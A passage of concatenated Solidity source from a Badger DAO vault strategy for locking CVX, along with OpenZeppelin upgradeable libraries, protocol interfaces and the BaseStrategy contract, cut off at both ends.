want, liquidate from lpComponent to want, paying off any necessary debt for the conversion function _withdrawSome(uint256 _amount) internal override returns (uint256) { uint256 max = IERC20Upgradeable(want).balanceOf(address(this)); if (withdrawalSafetyCheck) { uint256 bCVXToCVX = CVX_VAULT.getPricePerFullShare(); // 18 decimals require(bCVXToCVX > 10**18, "Loss Of Peg"); // Avoid trying to redeem for less / loss of peg require( max >= _amount.mul(9_980).div(MAX_BPS), "Withdrawal Safety Check" ); // 20 BP of slippage } if (max < _amount) { return max; } return _amount; } /// @dev Harvest from strategy mechanics, realizing increase in underlying position function harvest() public whenNotPaused returns (uint256) { _onlyAuthorizedActors(); uint256 _beforeReward = IERC20Upgradeable(reward).balanceOf(address(this)); // Get cvxCRV LOCKER.getReward(address(this), false); // Rewards Math uint256 earnedReward = IERC20Upgradeable(reward).balanceOf(address(this)).sub(_beforeReward); uint256 cvxCrvToGovernance = earnedReward.mul(performanceFeeGovernance).div(MAX_FEE); if(cvxCrvToGovernance > 0){ CVXCRV_VAULT.depositFor(IController(controller).rewards(), cvxCrvToGovernance); emit PerformanceFeeGovernance(IController(controller).rewards(), address(CVXCRV_VAULT), cvxCrvToGovernance, block.number, block.timestamp); } uint256 cvxCrvToStrategist = earnedReward.mul(performanceFeeStrategist).div(MAX_FEE); if(cvxCrvToStrategist > 0){ CVXCRV_VAULT.depositFor(strategist, cvxCrvToStrategist); emit PerformanceFeeStrategist(strategist, address(CVXCRV_VAULT), cvxCrvToStrategist, block.number, block.timestamp); } // Send rest of earned to tree //We send all rest to avoid dust and avoid protecting the token uint256 cvxCrvToTree = IERC20Upgradeable(reward).balanceOf(address(this)); CVXCRV_VAULT.depositFor(BADGER_TREE, cvxCrvToTree); emit TreeDistribution(address(CVXCRV_VAULT), cvxCrvToTree, block.number, block.timestamp); /// @dev Harvest event that every strategy MUST have, see BaseStrategy emit Harvest(earnedReward, block.number); /// @dev Harvest must return the amount of want increased return earnedReward; } /// @dev Rebalance, Compound or Pay off debt here function tend() external whenNotPaused { revert("no op"); // NOTE: For now tend is replaced by manualRebalance } /// MANUAL FUNCTIONS /// /// @dev manual function to reinvest all CVX that was locked function reinvest() external whenNotPaused returns (uint256) { _onlyGovernance(); if (processLocksOnReinvest) { // Withdraw all we can LOCKER.processExpiredLocks(false); } // Redeposit all into veCVX uint256 toDeposit = IERC20Upgradeable(CVX).balanceOf(address(this)); // Redeposit into veCVX LOCKER.lock(address(this), toDeposit, getBoostPayment()); return toDeposit; } /// @dev process all locks, to redeem function manualProcessExpiredLocks() external whenNotPaused { _onlyGovernance(); LOCKER.processExpiredLocks(false); // Unlock veCVX that is expired and redeem CVX back to this strat // Processed in the next harvest or during prepareMigrateAll } /// @dev Take all CVX and deposits in the CVX_VAULT function manualDepositCVXIntoVault() external whenNotPaused { _onlyGovernance(); uint256 toDeposit = IERC20Upgradeable(CVX).balanceOf(address(this)); if (toDeposit > 0) { CVX_VAULT.deposit(toDeposit); } } /// @dev Send all available bCVX to the Vault /// @notice you can do this so you can earn again (re-lock), or just to add to the redemption pool function manualSendbCVXToVault() external whenNotPaused { _onlyGovernance(); uint256 bCvxAmount = IERC20Upgradeable(want).balanceOf(address(this)); _transferToVault(bCvxAmount); } /// @dev use the currently available CVX to either lock or add to bCVX /// @notice toLock = 0, lock nothing, deposit in bCVX as much as you can /// @notice toLock = 10_000, lock everything (CVX) you have function manualRebalance(uint256 toLock) external whenNotPaused { _onlyGovernance(); require(toLock <= MAX_BPS, "Max is 100%"); if (processLocksOnRebalance) { // manualRebalance will revert if you have no expired locks LOCKER.processExpiredLocks(false); } if (harvestOnRebalance) { harvest(); } // Token that is highly liquid uint256 balanceOfWant = IERC20Upgradeable(want).balanceOf(address(this)); // CVX uninvested we got from harvest and unlocks uint256 balanceOfCVX = IERC20Upgradeable(CVX).balanceOf(address(this)); // Locked CVX in the locker uint256 balanceInLock = LOCKER.balanceOf(address(this)); uint256 totalCVXBalance = balanceOfCVX.add(balanceInLock).add(wantToCVX(balanceOfWant)); // Amount we want to have in lock uint256 newLockAmount = totalCVXBalance.mul(toLock).div(MAX_BPS); // We can't unlock enough, just deposit rest into bCVX if (newLockAmount <= balanceInLock) { // Deposit into vault uint256 toDeposit = IERC20Upgradeable(CVX).balanceOf(address(this)); if (toDeposit > 0) { CVX_VAULT.deposit(toDeposit); } return; } // If we're continuing, then we are going to lock something (unless it's zero) uint256 cvxToLock = newLockAmount.sub(balanceInLock); // NOTE: We only lock the CVX we have and not the bCVX // bCVX should be sent back to vault and then go through earn // We do this because bCVX has "blockLock" and we can't both deposit and withdraw on the same block uint256 maxCVX = IERC20Upgradeable(CVX).balanceOf(address(this)); if (cvxToLock > maxCVX) { // Just lock what we can LOCKER.lock(address(this), maxCVX, getBoostPayment()); } else { // Lock proper LOCKER.lock(address(this), cvxToLock, getBoostPayment()); } // If anything else is left, deposit into vault uint256 cvxLeft = IERC20Upgradeable(CVX).balanceOf(address(this)); if (cvxLeft > 0) { CVX_VAULT.deposit(cvxLeft); } // At the end of the rebalance, there won't be any balanceOfCVX as that token is not considered by our strat } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Standard math utilities missing in the Solidity language. */ library MathUpgradeable { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "./IERC20Upgradeable.sol"; import "../../math/SafeMathUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20Upgradeable { using SafeMathUpgradeable for uint256; using AddressUpgradeable for address; function safeTransfer( IERC20Upgradeable token, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transfer.selector, to, value) ); } function safeTransferFrom( IERC20Upgradeable token, address from, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20Upgradeable token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, value) ); } function safeIncreaseAllowance( IERC20Upgradeable token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function safeDecreaseAllowance( IERC20Upgradeable token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub( value, "SafeERC20: decreased allowance below zero" ); _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall( data, "SafeERC20: low-level call failed" ); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require( abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed" ); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0 <0.8.0; interface IUniswapRouterV2 { function factory() external view returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.11; pragma experimental ABIEncoderV2; interface ISettV3 { function deposit(uint256 _amount) external; function withdraw(uint256 _amount) external; function getPricePerFullShare() external view returns (uint256); function balanceOf(address) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.11; pragma experimental ABIEncoderV2; interface ISettV4 { function deposit(uint256 _amount) external; function depositFor(address _recipient, uint256 _amount) external; function withdraw(uint256 _amount) external; function getPricePerFullShare() external view returns (uint256); function balanceOf(address) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0 <0.8.0; interface IController { function withdraw(address, uint256) external; function strategies(address) external view returns (address); function balanceOf(address) external view returns (uint256); function earn(address, uint256) external; function want(address) external view returns (address); function rewards() external view returns (address); function vaults(address) external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; interface ICvxLocker { function maximumBoostPayment() external view returns (uint256); function lock( address _account, uint256 _amount, uint256 _spendRatio ) external; function getReward(address _account, bool _stake) external; //BOOSTED balance of an account which only includes properly locked tokens as of the most recent eligible epoch function balanceOf(address _user) external view returns (uint256 amount); // total token balance of an account, including unlocked but not withdrawn tokens function lockedBalanceOf(address _user) external view returns (uint256 amount); // Withdraw/relock all currently locked tokens where the unlock time has passed function processExpiredLocks( bool _relock, uint256 _spendRatio, address _withdrawTo ) external; // Withdraw/relock all currently locked tokens where the unlock time has passed function processExpiredLocks(bool _relock) external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; ///@dev Snapshot Delegate registry so we can delegate voting to XYZ interface IDelegateRegistry { function setDelegate(bytes32 id, address delegate) external; function delegation(address, bytes32) external returns (address); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; interface ICurvePool { function exchange( int128 i, int128 j, uint256 _dx, uint256 _min_dy ) external returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.11; import "deps/@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "deps/@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol"; import "deps/@openzeppelin/contracts-upgradeable/math/MathUpgradeable.sol"; import "deps/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import "deps/@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol"; import "deps/@openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol"; import "deps/@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; import "interfaces/uniswap/IUniswapRouterV2.sol"; import "interfaces/badger/IController.sol"; import "interfaces/badger/IStrategy.sol"; import "../SettAccessControl.sol"; /* ===== Badger Base Strategy ===== Common base class for all Sett strategies Changelog V1.1 - Verify amount unrolled from strategy positions on withdraw() is within a threshold relative to the requested amount as a sanity check - Add version number which is displayed with baseStrategyVersion(). If a strategy does not implement this function, it can be assumed to be 1.0 V1.2 - Remove idle want handling from base withdraw() function. This should be handled as the strategy sees fit in _withdrawSome() */ abstract contract BaseStrategy is PausableUpgradeable, SettAccessControl { using SafeERC20Upgradeable for IERC20Upgradeable; using AddressUpgradeable for address; using SafeMathUpgradeable for uint256; event Withdraw(uint256 amount); event WithdrawAll(uint256 balance); event WithdrawOther(address token, uint256 amount); event SetStrategist(address strategist); event SetGovernance(address governance); event SetController(address controller); event SetWithdrawalFee(uint256 withdrawalFee); event SetPerformanceFeeStrategist(uint256 performanceFeeStrategist); event SetPerformanceFeeGovernance(uint256 performanceFeeGovernance); event Harvest(uint256 harvested, uint256 indexed blockNumber); event Tend(uint256 tended); address public want; // Want: Curve.fi renBTC/wBTC (crvRenWBTC) LP token uint256 public performanceFeeGovernance; uint256 public performanceFeeStrategist; uint256 public withdrawalFee; uint256 public constant MAX_FEE = 10000; address public controller; address public guardian; uint256 public withdrawalMaxDeviationThreshold; function __BaseStrategy_init( address _governance, address _strategist, address _controller, address _keeper, address _guardian ) public initializer whenNotPaused { __Pausable_init(); governance = _governance; strategist = _strategist; keeper = _keeper; controller = _controller; guardian = _guardian; withdrawalMaxDeviationThreshold = 50; } // ===== Modifiers ===== function _onlyController() internal view { require(msg.sender == controller, "onlyController"); } function _onlyAuthorizedActorsOrController() internal view { require(msg.sender == keeper || msg.sender == governance || msg.sender == controller, "onlyAuthorizedActorsOrController"); } function _onlyAuthorizedPausers() internal view { require(msg.sender == guardian || msg.sender == governance, "onlyPausers"); } /// ===== View Functions ===== function baseStrategyVersion() public view returns (string memory) { return "1.2"; } /// @notice Get the balance of want held idle in the Strategy function balanceOfWant() public view returns (uint256) { return IERC20Upgradeable(want).balanceOf(address(this)); } /// @notice Get the total balance of want realized in the strategy, whether idle or active in Strategy positions. function balanceOf() public virtual view returns (uint256) { return balanceOfWant().add(balanceOfPool()); } function isTendable() public virtual view returns (bool) { return false; } function isProtectedToken(address token) public view returns (bool) { address[] memory protectedTokens = getProtectedTokens(); for (uint256 i = 0; i < protectedTokens.length; i++) { if (token == protectedTokens[i]) { return true; } } return false; } /// ===== Permissioned Actions: Governance ===== function setGuardian(address _guardian) external { _onlyGovernance(); guardian = _guardian; } function setWithdrawalFee(uint256 _withdrawalFee) external { _onlyGovernance(); require(_withdrawalFee <= MAX_FEE, "base-strategy/excessive-withdrawal-fee"); withdrawalFee = _withdrawalFee; } function setPerformanceFeeStrategist(uint256 _performanceFeeStrategist) external { _onlyGovernance(); require(_performanceFeeStrategist <= MAX_FEE, "base-strategy/excessive-strategist-performance-fee"); performanceFeeStrategist = _performanceFeeStrategist; } function setPerformanceFeeGovernance(uint256 _performanceFeeGovernance) external { _onlyGovernance(); require(_performanceFeeGovernance <= MAX_FEE, "base-strategy/excessive-governance-performance-fee"); performanceFeeGovernance = _performanceFeeGovernance; } function setController(address _controller) external { _onlyGovernance(); controller = _controller; } function setWithdrawalMaxDeviationThreshold(uint256 _threshold) external { _onlyGovernance(); require(_threshold <= MAX_FEE, "base-strategy/excessive-max-deviation-threshold"); withdrawalMaxDeviationThreshold = _threshold; } function deposit() public virtual whenNotPaused { _onlyAuthorizedActorsOrController(); uint256 _want = IERC20Upgradeable(want).balanceOf(address(this)); if (_want > 0) { _deposit(_want); } _postDeposit(); } // ===== Permissioned Actions: Controller ===== /// @notice Controller-only function to Withdraw partial funds, normally used with a vault withdrawal function withdrawAll() external virtual whenNotPaused returns (uint256 balance) { _onlyController(); _withdrawAll(); _transferToVault(IERC20Upgradeable(want).balanceOf(address(this))); } /// @notice Withdraw partial funds from the strategy, unrolling from strategy positions as necessary /// @notice Processes withdrawal fee if present /// @dev If it fails to recover sufficient funds (defined by withdrawalMaxDeviationThreshold), the withdrawal should fail so that this unexpected behavior can be investigated function withdraw(uint256 _amount) external virtual whenNotPaused { _onlyController(); // Withdraw from strategy positions, typically taking from any idle want first. _withdrawSome(_amount); uint256 _postWithdraw = IERC20Upgradeable(want).balanceOf(address(this)); // Sanity check: Ensure we were able to retrieve sufficent want from strategy positions // If we end up with less than the amount requested, make sure it does not deviate beyond a maximum threshold if (_postWithdraw < _amount) { uint256 diff = _diff(_amount, _postWithdraw); // Require that difference between expected and actual values is less than the deviation threshold percentage require(diff <= _amount.mul(withdrawalMaxDeviationThreshold).div(MAX_FEE), "base-strategy/withdraw-exceed-max-deviation-threshold"); } // Return the amount actually withdrawn if less than amount requested uint256 _toWithdraw = MathUpgradeable.min(_postWithdraw, _amount); // Process withdrawal fee uint256 _fee = _processWithdrawalFee(_toWithdraw); // Transfer remaining to Vault to handle withdrawal _transferToVault(_toWithdraw.sub(_fee)); } // NOTE: must exclude any tokens used in the yield // Controller role - withdraw should return to Controller function withdrawOther(address _asset) external virtual whenNotPaused returns (uint256 balance) { _onlyController(); _onlyNotProtectedTokens(_asset); balance = IERC20Upgradeable(_asset).balanceOf(address(this)); IERC20Upgradeable(_asset).safeTransfer(controller, balance); } /// ===== Permissioned Actions: Authoized Contract Pausers ===== function pause() external { _onlyAuthorizedPausers(); _pause(); } function unpause() external { _onlyGovernance(); _unpause(); } /// ===== Internal Helper Functions ===== /// @notice If withdrawal fee is active, take the appropriate amount from the given value and transfer to rewards recipient /// @return The withdrawal fee that was taken function _processWithdrawalFee(uint256 _amount) internal returns (uint256) { if (withdrawalFee == 0) { return 0; } uint256 fee = _amount.mul(withdrawalFee).div(MAX_FEE); IERC20Upgradeable(want).safeTransfer(IController(controller).rewards(), fee); return fee; } /// @dev Helper function to process an arbitrary fee /// @dev If the fee is active, transfers a given portion in basis points of the specified value to the recipient /// @return The fee that was taken function _processFee( address token, uint256 amount, uint256 feeBps, address recipient ) internal returns (uint256) { if (feeBps == 0) { return 0; } uint256 fee = amount.mul(feeBps).div(MAX_FEE); IERC20Upgradeable(token).safeTransfer(recipient, fee); return fee; } function _transferToVault(uint256 _amount) internal { address _vault = IController(controller).vaults(address(want)); require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds IERC20Upgradeable(want).safeTransfer(_vault, _amount); } /// @notice Utility function to diff two numbers, expects higher value in first position function _diff(uint256 a, uint256 b) internal pure returns (uint256) { require(a >= b, "diff/expected-higher-number-in-first-position"); return a.sub(b); } // ===== Abstract Functions: To be implemented by specific Strategies ===== /// @dev Internal deposit logic to be implemented by Stratgies function _deposit(uint256 _want) internal virtual; function _postDeposit() internal virtual { //no-op by default } /// @notice Specify tokens used in yield process, should not be available to withdraw via withdrawOther() function _onlyNotProtectedTokens(address _asset) internal virtual; function getProtectedTokens() public virtual view returns (address[] memory) { return new address[](0); } /// @dev Internal logic for strategy migration. Should exit positions as efficiently as possible function _withdrawAll() internal virtual; /// @dev Internal logic for partial withdrawals. Should exit positions as efficiently as possible. /// @dev The withdraw() function shell automatically uses idle want in the strategy before attempting to withdraw more using this function _withdrawSome(uint256 _amount) internal virtual returns (uint256); /// @dev Realize returns from positions /// @dev Returns can be reinvested into positions, or distributed in another fashion /// @dev Performance fees should also be implemented in this function /// @dev Override function stub is removed as each strategy can have it's own return signature for STATICCALL // function harvest() external virtual; /// @dev User-friendly name for this strategy for purposes of convenient reading function getName() external virtual pure returns (string memory); /// @dev Balance of want currently held in strategy positions function balanceOfPool() public virtual view returns (uint256); uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../GSN/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier 